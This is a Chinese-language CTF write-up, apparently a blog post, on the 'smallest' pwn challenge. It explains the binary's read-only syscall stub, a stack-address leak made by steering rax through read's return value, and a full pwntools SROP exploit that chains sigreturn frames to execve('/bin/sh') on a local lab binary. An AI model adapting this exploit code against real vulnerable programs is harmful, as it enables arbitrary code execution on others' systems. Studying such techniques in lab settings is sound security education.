这个文件太小了,使用的asm编写,并没有gadget依赖库

查看汇编

; signed __int64 start()
; 定义函数 start,返回类型为 signed __int64

.text:00000000004000B0 ; DATA XREF: LOAD:0000000000400018↑o
; 对应到数据段(.data)中的交叉引用

.text:00000000004000B0 public start
; 标记函数 start 为公开的,可被其他模块访问

.text:00000000004000B0 start proc near
; 定义 start 过程,near 表示这是一个近调用过程

.text:00000000004000B0 48 31 C0 xor rax, rax
; 将 RAX 寄存器清零,相当于 mov rax, 0

.text:00000000004000B3 BA 00 04 00 00 mov edx, 400h
; 将 EDX 寄存器设置为 0x400 (1024 字节),即要读取的字节数

.text:00000000004000B8 48 89 E6 mov rsi, rsp
; 将 RSI 寄存器设置为栈指针,即存放读取数据的缓冲区地址

.text:00000000004000BB 48 89 C7 mov rdi, rax
; 将 RDI 寄存器设置为 0,即文件描述符为标准输入

.text:00000000004000BE 0F 05 syscall
; 调用 Linux 系统调用 sys_read,读取输入到缓冲区

.text:00000000004000C0 C3 retn
; 返回指令,结束 start 过程

.text:00000000004000C0 start endp
; 结束 start 过程

.text:00000000004000C0 _text ends
; _text 段结束

.text:00000000004000C0 end start
; 函数 start 结束

简单来说:

这里调用了三个寄存器:

rdi存放第一个参数

rsi存放第二行个参数

rdx存放第三个参数

这里rdi的值由rax控制

rax做了一次异或,即使rax和rdi均为0

在64位中调用号=0的函数为read函数

所以这里的程序本质就是:

syscall(0, 0, rsp, 0x400)

即是

read(0, rsp, 0x40

3.泄露栈上的内容

1.标准的文件描述符
0—stdin,标准输入流
1—stdout,标准输出流
2—stderr,标准错误流
2.write(1,stack,n)来泄露栈上内容
  1. 唯一需要控制的寄存器就是rax
  2. 当rax其为1时,rdi也正好能够为标准输出流,系统调用号对应write函数
  3. 将直接从rsp出写出0x400个字节的数据
3.read函数的返回值来控制rax为1

构造payload

start_addr = 0x00000000004000B0
payload=p64(start_addr)*3
p.send(payload)
p.send("\xb3")
4.调用syscall自然就会泄露地址,然后重新返回到start函数地址

最后一行将返回地址该为0x4000B3绕过了rax置零的操作

4.EXP

后买的调用就很常规这里就直接exp分析了

import time
from pwn import *



'''
==================================================
004000b0 48 31 c0 XOR RAX,RAX
004000b3 ba 00 04 MOV EDX,0x400
00 00
004000b8 48 89 e6 MOV RSI,RSP
004000bb 48 89 c7 MOV RDI,RAX
004000be 0f 05 SYSCALL
004000c0 c3 RET
==================================================

简单分析程序:
XOR RAX,RAX // 首先将 rax 置 0
MOV EDX,0x400 // 之后将 edx 设置为 0x400
MOV RSI,RSP // 将栈顶地址复制给 RSI
MOV RDI,RAX // 将 rax 的值赋值给 rdi
SYSCALL // 执行系统调用
RET // 执行栈顶地址的指令

这个程序的意思就是将我们输入的内容读入到栈顶,之后执行栈顶地址存储的指令,我们看一下开了哪些防护
==================================
[*] '/root/srop/smallest'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
==================================

开启了 NX ,所以直接把 shellcode 写入到栈顶的想法是不行了,需要使用 SROP 技术,基本思路如下:

1. 通过写入 n 个程序其实地址来让程序不会退出,多次从标准输入中读取
2. 泄漏栈地址,通过控制下一跳的地址来跳过将 rax 置 0 的过程,也就是将 004000b0 变为 004000b3 ,这样的话其实只需要动一个字节就可以了,也就是使用 \xb3 覆盖 \xb0 ,同时正好我们也需要通过传递一个字符将 read 的返回值设置为 1, read 的返回值会存储在 rax 寄存器中,也就是改变了 rax 寄存器的值,1 是 write 方法的系统调用号
3. 获取到栈地址后,可以使用 sigreturn 来获取shell了,但是目标程序中没有 gadget: syscall;retn ,我们需要使用将 rax 设置为 15 ,之后 syscall 的方式来进行 sigreturn
4. 继续调用 read 方法,读入 15 个字节,也就是设定 rax 为15,之后执行 syscall ,这样就完成了 sigreturn 调用,这个调用再次执行 read 调用来把 start_adde + execve 的 sigFrame 读取进来,并设置 rip 为 syscall,这样就会再次执行 read 调用,我们又可以通过传递 15 个字节的方式来进行 sigreturn ,这次恢复的栈帧就是最终执行 shell 的栈帧了
5. 成功获取 shell

'''

p = process('./smallest')

context.arch = 'amd64'
# context.log_level = 'debug'

# Ghidra 获取基本地址
start_addr = 0x4000b0
mv_rsp_rsi_addr = 0x4000b8
syscall_ret_addr = 0x4000be
ret_addr = 0x004000c0


# 用于多次执行 read 系统调用
payload1 = p64(start_addr) * 3
p.send(payload1)

time.sleep(0.5)

# 用于控制 rax 为 1, 同时呢设置栈顶地址,跳过 rax 置 0
payload2 = b'\xb3'
p.send(payload2)

# 接收返回地址, 一次会打印 400 个字符,
stack_addr = u64(p.recv()[8:16])
log.info("leak stack addr: 0x%x", stack_addr)

time.sleep(0.5)

#开始构造!我们要想要syscall调用sigreturn需要把rax设置为15,通过read实现
read = SigreturnFrame()
read.rax = constants.SYS_read
read.rdi = 0
read.rsi = stack_addr
read.rdx = 0x400
read.rsp = stack_addr
read.rip = syscall_ret_addr
#相当于read(0,stack_addr,0x400),同时返回地址是start_addr
read_frame_payload = p64(start_addr) + p64(syscall_ret_addr) + bytes(read)
p.send(read_frame_payload)#调用read函数,等待接收

time.sleep(0.5)

p.send(read_frame_payload[8:8+15]) #总共是15个
#这样通过read返回的字节使得rax为15,这样的话就会去恢复构造的read那一段内容,来接受我们的输入

# 定义 execve 的栈帧
execve = SigreturnFrame()
execve.rax = constants.SYS_execve
execve.rdi = stack_addr + 0x120
execve.rsi = 0x0
execve.rdx = 0x0
execve.rsp = stack_addr
execve.rip = syscall_ret_addr

log.info("rdi: 0x%x", stack_addr + 0x120)

time.sleep(0.5)

# 使用 sigreturn 来进行自定义的
payload3 = p64(start_addr) + p64(syscall_ret_addr) + bytes(execve)
print(len(payload3))

payload3 = payload3 + (0x120-len(payload3)) * b'\x00'+ b'/bin/sh\x00'

p.send(payload3)

time.sleep(1)
p.send(payload3[8:8+15])
p.interactive()
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇